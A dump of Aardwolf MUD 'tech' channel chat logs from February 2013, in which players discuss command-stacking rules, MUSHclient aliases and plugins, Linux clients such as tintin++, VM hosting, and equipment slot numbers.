T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: right, you may take out the entire room you're already in regardless of how many MOBs are in it
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Nocilis Tech: help command stacking
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Remarto Tech: as long as your not stacking kill commands onto movement
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: you mean a string of movement commands greater than 1?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Archmage Korridel Tech: Simple rules - 1) Be able to stop fighting if someone asked you for a mob for cp/quest/etc.  2) You should be able to see the room you're entering and what's there to fight.  3) You should never execute a kill command after a run if you end up getting stopped via doors, aggro mobs, or other methods to stop you from reaching your goal.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Mokg Tech: korridel still here?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Archmage Korridel Tech: That I am.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Mokg Tech: is it okay to move a dir and firebreath before seeing the full contents of the room?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: very much so, as directly quoted from Lasher.  Help stacked commands (he or one of the imms helpfully copied in the post he made the statement in).
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Thanks, Korridel. Didn't see you name change so fast.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: Book of Etzli's shifty eyes dart back and forth.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Cast Abradix Tech: Yup, help stack just says not to stack to kill entire areas :3
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: one room away is just like being in the same room, or at least is considered wrong but not worth the time to actually do anything about.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Archmage Korridel Tech: Mokg - That's fine - as long as it's being manually put in.  If any part of it is triggered, then we have problems on our hands.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Mokg Tech: nod, thanks
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Mushambo Tech: Just installed Mushclient again on my formatted drive...added some of Basts...apparently I'm spamming "p" since it says every tick i don't know how to create a poultice...any ideas?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: p is for the prompt, I think?  Or maybe it's p data...
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: p shouldn't poultice
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: you've probably got an alias for p
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh god, I hope not
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: You can type echocommand to see exactly what the mud thinks you're entering
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: this is why all commands should be sendable by gmcp
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Mushambo Tech: Yes, I have an alias set up mud-side
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: and yeah, MUSH is trying to type p data to verify your prompt
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Mushambo Tech: "poultice data"
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: check the ALIAS command to see if you have one set gameside.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: please unalias p and use something else :\
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Mushambo Tech: Thanks :)
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: this is only temporary. the next time you start mushclient you can remove the prompt fixer plugin
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: after removing that you can re-alias p
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I suppose it is actually too much to ask that people never alias over unrelated game commands
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: having game commands be single letters needs to go.  can't even abbreviate it for faster typing!
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: (petition for full gmcp call and response!)
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Bast Tech: I agree with Fiendish
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: though actually am I using p?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Mushambo Tech: Well sorry! Remnant from my telnet days
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hold on
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Prince Wario Tech: I remember the telnet days
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: crap, I am
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I guess in the next update I should change that to prompt data
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: seriously, though, p and prompt should probably just be merged, with contradictory functionality standardized (ie, p and prompt should display on request, and a new on/off option should be adopted to toggle)
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: err, prompt data is a valid syntax?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: it is now
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: cool, time to update the helpfile
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Rechy Arxe Tech: What is the command to reset the windows on mush again?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: resetaard
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Strazor Tech: also similar to retard oddly enough...
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: only for you
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: Strazor is agreeing with that The Jerk Fiendish person again...
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Zoh Tech: anyone know how to make the S&D "ak" command do backstab instead of kill if you know please send me a tell:)
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you can't, without editing the plugin
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Zoh Tech: it says you can by making a alias with K * as the trigger...but Idk what to put as the body
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish smirks.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: oh, that would work too i guess
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: just alias k to bs
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Zoh Tech: just put backstab in the body?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Zoh Tech: It's Backstab %1 as body and k * as title
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone used a external harddrive that has the 'personal cloud/NAS' functionality built in?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vallimus Tech: Is there a command or easier way to clear the main window?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Leinei Tech: cls
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Leinei Tech: but depends on how your client reacts to it
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vallimus Tech: That doesn't work on the Aardwolf client.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Leinei Tech: Works on vanilla MUSH, I think, but yeah, doesn't look like it does on the Aardwolf client.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ixle Tech: I send a bunch of carriage returns
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Leinei Tech: Why are you needing to clear the screen?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vallimus Tech: I'm just a freak about it. I only sometimes scroll up for stuff. I'm use to working on Linux operating system and terminal clutter bugs me.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vallimus Tech: It's no biggy. If I push Ctrl+Shift+C, it clears it. It's just an annoying combo of buttons and it prompts me every time to ask if I really want to.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Leinei Tech: There's a DeleteLines function in MUSH, but the Aardwolf client just undeletes it the next time it gets a line
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Leinei Tech: The main output window in AardMUSH doesn't really work exactly the way that the regular output window does
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vallimus Tech: Hm...
T3/r7/2013-02-05.txt.gz:{chan ch=tech}RedRain Tech: muds scroll up the page... no need to clear!
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vallimus Tech: Yeah, I don't know. It's alright. Thanks anyway
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Leinei Tech: There's a DeleteOutput() function that works
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Leinei Tech: just tried it
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Leinei Tech: You can make an alias that calls it, or probably bind it to a key if you wanted to
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Cizra Tech: Hey guys, "wearable" says portal location is number 32, but I'm getting 31 off invmon. Is that a bug?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Daloran Tech: Ciz.. I suspect it might be the difference between held, and portal depending on if you have the portal wish or not
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Daloran Tech: i guess held is 27
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Daloran Tech: So.... I retract my wild ass guess.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Cizra Tech: I have portal wish. You equip the Amulet of Aardwolf as a portal. {invmon}2,object id goes here,-1,31
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Laughing Airmeith Tech: possibly the way arrays are counted in most programming languages... first location in the array is location 0?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ttigers Tech: ok i use to know how to fix this problem and i cant remember how now
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ttigers Tech: getting chan ch=tech in {} everytime something pops up on channels, ideas?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Daloran Tech: type tags off
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ixle Tech: You're seeing channel tags now, some plugin that used to gag them is probably disabled.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ttigers Tech: ty, knew there was a way to fix that lmfao
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nuanse Tech: tag and turn off channels
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ttigers Tech: what it is is i was doing some editing on mush and hopped back on zmud
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ttigers Tech: mush auto turns them on
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nuanse Tech: mush doesnt turn anything on. aardmush scripts do
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ttigers Tech: what i ment
T3/r7/2013-02-05.txt.gz:{chan ch=tech}AmtixWolf Tech: its the first time I'm playing aardwolf on my phone and I have no idea what I'm doing
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Cizra Tech: Hmmm. I wonder what'd it be if tells were send out-of-channel.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What do you mean? Tells come via gmcp too
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Cizra Tech: They don't go, though. I thought it'd be fun if they were not affected by command lag.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Why would that be needed? Your tells aren't coming though fast enough, stack less.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Cizra Tech: Har, never thought of that.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: It's not a bot, Cizra is just using nice automation!
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I doubt the partial second for non-stacked commands, or the potentially few seconds due to stacking will make that much of a difference to the person receiving a tell. Unless they're giving you a timed length to reply, in which case those people are just stupid.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Unless you're stacking a whole area, then it'll be longer (which is illegal anyways)
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Cizra Tech: Yeah, well. So the benefit will not be huge, but a nice convenience.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: So by your own statement and agreement you've, in a roundabout way, agreed that the time isn't worth the benefit.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Cizra Tech: Sort of yes. Just would be nice to have.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Thunderax Tech: is the vnum of a room the same as mushclient mapper's room num for it?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Laughing Airmeith Tech: not sure on that
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Bast Tech: no, vnums are strings nowadays like song-10
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saeraph Tech: For some reason, the main window background turned red and I can't change it back. Anyone able to help?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: Is there a linux client you gusy wouuld recomend?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Heh, gusy again :P
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: Sit like a Trurien comforts Saqdum.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: Its this damn netbook...
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Arnica Tech: AardMUSH runs well under Wine
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: how is tintin++?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ixle Tech: I like it
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I switched to tmux recently because I moved back to Ubuntu for a bit...
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: I don't know how the map thing works here but will it work fine with tintin++
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: But tintin++ works well with tmux or screen.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ixle Tech: Mapping will work fine with tintin++
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: Okay, I'll go download it to give it a try.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Never needed to use maps, though.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: Be backs in a second
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: er back...
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Heh.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I'm worried, it's been about 30 and he hasn't come back...
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: Sit like a Trurien runs away in utter terror!
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Trachx Tech: what free linux (host CentOS 6) based virtualization would be most flexible and easy to setup - openvz, kvm, xen? I'd like to setup several VM to serve DNS + NTP, router / NAT (3 NIC and several VLANs), also some management/monitoring like Observium , DELL's OMSA monitor
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Gnarcyon Tech: 42
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Why should the host be CentOS 6?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Trachx Tech: why not? But the main reason is it is working now and would require some effort to change to something else
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Sorry, wrong parse of the question.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: Sit like a Trurien rapidly nods twice at Trachx, in complete agreement.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I thought for some reason you were looking for a host online that had to be CentOS 6.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Trachx Tech: also, all of our linux servers use some flavour of Centos / RH
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Did you try to yum them all?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I found qemu fairly quick.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: Well got tintin++ working...
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Trachx Tech: my main motivation to implement VM is just to be more flexible when it comes to server replacement
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Trachx Tech: so, it would be nice if VM was easy to move to other server with similar configuration
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: Sit like a Trurien rapidly nods twice at Trachx, in complete agreement.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: Why would you use this client with screen or tmux?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Trachx Tech: OpenVZ seems nice, though I am not sure whether it is easy to move VM to other server, especially when it has other distro version (like Centos 6 and 5)
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I think the point of virtualisation is that it should work regardless of host, right?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Is there a way to create an image that hits the lowest common denominator?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Trachx Tech: right, so OpenVZ is not good for me
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I am not sure that different versions would mean they are incompatible, though.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Why not use vector graphics? Then have a front-end to scale?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: Tintin can't have a map thing like mushclient?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: It does, ask Ixle. :)
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Sure does, Ixle has my mapper on his site :)
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Ixle Tech: define "map thing"
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: You know, a section where I can see where i'm at. I'm scared of getting lost since I'm new...
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Ah, for that you can use the in-game map.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: The client Ixle hosts has that.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: well, actually no
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: What I do is I have automap on, so I see a map in every room... then I gag the map and put it into a text file.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: it'll work for wintin, but you'll need a third party tail software for windows.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Hmm... wail?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: There's Gnu32Tail
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: Huh.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}TinyMonster Tech: Is there a way to capture color codes in a regexp with tiny fugue?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}TinyMonster Tech: That sort of doesn't make any sense.... I want to capture and redirect lines that are a certain color.  Can I do that with TF?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Hmm..
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Yes. But you'll have to match metachars
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I'm not sure what that would achieve, though.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: TinyMonster: if you want to cut certain channels, there probably already are tags or gmcp hooks you could use.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Yeah, not sure why you want specific colors, but to each their own
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I like me a little brainstorming. He might be on to something we've missed :)
T3/r7/2013-02-05.txt.gz:{chan ch=tech}TinyMonster Tech: It lets me change them, it also lets me change them under certain conditions, and its one more condition that I can test for in regexp which gives me a greater flexibility.  Color has a natural categorization scheme to it.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Change the colours, you mean, like... have red for when you are lower on HP.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}TinyMonster Tech: or purple.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Yup, but that was something I'd been wanting to do.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Well, it goes back on my pile of things that would be nice :)
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I'm using tt++ by the way.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}TinyMonster Tech: That is not capturing, that is outputting, which is a diffrent matter entirely.  I'm tryiny to KNOW what the color of a given word is.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Ah, good point.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Meta characters tell the color, you can use them it's just ugly lookin
T3/r7/2013-02-05.txt.gz:{chan ch=tech}TinyMonster Tech: ----> http://tintin.sourceforge.net/manual/colors.php  The first example shows you how to do what you want.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: Sit like a Trurien smiles happily.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}TinyMonster Tech: I'm just not sure what you mean by metacharacters.  If I wanted to match "Tech" whenever it was green what would be the command?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: not enough room for everything with mushclient on a netbook
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: If you turn off colour parsing, like #CONFIG {CONVERT META} {OFF} would do for tt++, you will see the colours in their gore.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: got that nifty map thing though
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Scratch that, I'd forgotten it does something else..
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: It's convert meta ON instead, for those tt++ that might be listening in.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Interesting how tail shows colours but less needs an option for it.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I prefer it that way.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Why's that?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: alias more more -R ;-)
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: must like I alias pico pico -mwb
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: much*
T3/r7/2013-02-05.txt.gz:{chan ch=tech}BlueBeetle Tech: m$ stopp support on windows update for  xp ?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: huwha?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Laughing Airmeith Tech: wouldn't surprise me, it's what? three generations back now?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}BlueBeetle Tech: reinstaleld a laptop  browser   says  cant access  ms update on xp 2003 server and windows 2000
T3/r7/2013-02-05.txt.gz:{chan ch=tech}BlueBeetle Tech: but my main comp is still xp and it  gets  critical  updates still
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: I found this aardwolf+tintin
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: But nothing other than the minimap works...
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Saqdum Tech: Lol nvm just read the README
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone have any experience with western digital my cloud drives?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Soris Tech: how do I trasfer my maps from an old version of aard?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Flach Tech: you mean from an older client?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Soris Tech: yes.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Soris Tech: how do I trasfer my maps from an old version of aard?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: copy aardwolf.db
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: www.aardwolf.com, click the screenshot, click download...that page tells you exactly how
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Soris Tech: Thanks.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Read the link though. Has extra, helpful, info such as making sure to close mush while doing so.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nunedreek Tech: Is there a way to have plugin windows outside of mushclient?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: plugin windows? no. external programs reading stuff from mushclient? sure
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nunedreek Tech: I have some of bast plugins loaded. It some mini windows but I can't move the windows to my other monitor? So can you do that if you use two monitors?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: you cannot display bast's miniwindows anywhere outside the big box that defines MUSHclient
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nunedreek Tech: Alright, thank you.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Anyone know what if anything the wearable numbers 26 29 30 and 31 are used for?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nuanse Tech: reserved for something new.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: That's a negative, Nuanse.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nuanse Tech: imm things then?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Another negative.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: Book of Etzli sits down and thinks deeply. 
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nuanse Tech: damn
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: triv aura, portal wish, iirc arrows
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Portal is 32.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: I have a triv aura equipped and portal wish
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Aura is 28.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Arrows, though...
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: the numbers are dynamic then
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Any hunters on?
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: nod, I have hunter
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nuanse Tech: triv aura might be, maybe those should be shown in wearable
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: wearable is wrong
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: They are, Nuanse.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nuanse Tech: I have triv aura and I dont see anything in wearable :P
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: The flag is 'above' - doesn't show on wearable though o.0
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nuanse Tech: exactly
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Wearable is indeed wrong. Trivia sleeping bag, according to eqdata, is slot 32, not 33.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Aura of Trivia is slot 30.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: nod, it became wrong with archery
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Nuanse Tech: with question, vakien found a bug :)
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: He actually noted the bug a few days back.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Regarding slot 31, anyway.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: thought I'd posted about that a month or so ago
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: not me
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Or maybe Abelinc.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Sonofab... I built a db capture from eqdata, but seeded with wearable... best change the seed table
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, Cizra posted it.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Posted it early this morning, in fact... 4:00 am MUD time.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Unless you posted it on a different forum, Abelinc, nothing in my notes from you on bugs regarding wearable recently.
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: nod, looking back to see when/where I'd had a conversation about the high numbers all being wrong
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Seems kind of strange that wearable and eqdata don't pull from the same source... oh well
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: not really strange, wearable is little more than a helpfile
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: I can't see wearable as being such a heavy use command that dynamically generating would be an altogether unwarranted load
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: And for the record, I think helpfiles could do with dynamic fields also :-P
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Dtype, level, stats affecting, which classes get it - no need for separate showskill/helpfile imo
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: I think the bottom of area helpfiles should be dynamically generated
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: I disagree with that
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Vakieh Tech: Could implement showskill as just showing the bottom part of a helpfile, with the current data, but no reason to not have the showskill data in the helpfile
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: I'm rarely looking for both halves of that information at the same time, so it's just spam to me
T3/r7/2013-02-05.txt.gz:{chan ch=tech}Tech: also, showskill is personalized for the viewer while helpfiles should not be
